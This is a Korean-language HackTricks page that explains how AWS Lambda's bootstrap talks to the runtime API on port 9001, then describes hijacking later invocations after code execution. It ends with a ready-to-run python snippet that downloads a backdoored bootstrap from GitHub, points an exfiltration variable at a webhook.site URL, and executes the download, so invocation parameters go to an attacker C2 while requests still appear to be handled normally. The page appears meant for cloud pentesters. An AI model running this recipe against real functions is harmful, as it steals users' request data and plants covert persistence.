AWS - Steal Lambda Requests

HackTricks 지원하기

Lambda 흐름

  1. Slicer는 컨테이너 외부의 프로세스로, init 프로세스에 호출전송합니다.

  2. init 프로세스는 포트 9001에서 몇 가지 흥미로운 엔드포인트를 노출합니다:

  • /2018-06-01/runtime/invocation/next – 다음 호출 이벤트 가져오기

  • /2018-06-01/runtime/invocation/{invoke-id}/response – 호출에 대한 핸들러 응답 반환

  • /2018-06-01/runtime/invocation/{invoke-id}/error – 실행 오류 반환

  1. bootstrap.py는 init 프로세스에서 호출을 가져오는 루프를 가지고 있으며, 이를 처리하기 위해 사용자 코드를 호출합니다 (/next).

  2. 마지막으로, bootstrap.py는 init에 응답을 전송합니다.

bootstrap은 사용자 코드를 모듈로 로드하므로, 사용자 코드에 의해 수행된 모든 코드 실행은 실제로 이 프로세스에서 발생합니다.

Lambda 요청 훔치기

이 공격의 목표는 사용자의 코드가 취약한 요청을 처리하는 bootstrap.py 프로세스 내에서 악성 bootstrap.py 프로세스를 실행하도록 만드는 것입니다. 이렇게 하면 악성 bootstrap 프로세스가 요청을 처리하기 위해 init 프로세스와 통신을 시작하고, 정상 bootstrap은 악성 프로세스를 실행 중에 갇히게 되어 init 프로세스에 요청을 요청하지 않게 됩니다.

사용자의 코드가 정상 bootstrap.py 프로세스에 의해 실행되고 있기 때문에 이는 간단한 작업입니다. 따라서 공격자는 다음을 수행할 수 있습니다:

  • 현재 호출의 가짜 결과를 init 프로세스에 전송하여, init이 bootstrap 프로세스가 더 많은 호출을 기다리고 있다고 생각하게 만듭니다.

  • **/${invoke-id}/response**에 요청을 전송해야 합니다.

  • invoke-id는 inspect 파이썬 모듈을 사용하여 정상 bootstrap.py 프로세스의 스택에서 얻거나, **/2018-06-01/runtime/invocation/next**에 다시 요청하여 얻을 수 있습니다.

  • 다음 호출을 처리할 악성 **boostrap.py**를 실행합니다.

  • 은밀함을 위해 lambda 호출 매개변수를 공격자가 제어하는 C2로 전송한 후 요청을 평소처럼 처리할 수 있습니다.

  • 이 공격을 위해서는 시스템에서 **bootstrap.py**의 원본 코드를 가져오거나 github에서 가져와 악성 코드를 추가하고 현재 lambda 호출에서 실행하면 충분합니다.

공격 단계

  1. RCE 취약점 찾기.

  2. 악성 bootstrap 실행하기.

이 작업을 수행하려면 다음을 실행하면 됩니다:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

더 많은 정보는 https://github.com/carlospolop/lambda_bootstrap_switcher를 확인하세요.

참고 문헌

HackTricks 지원하기

Last updated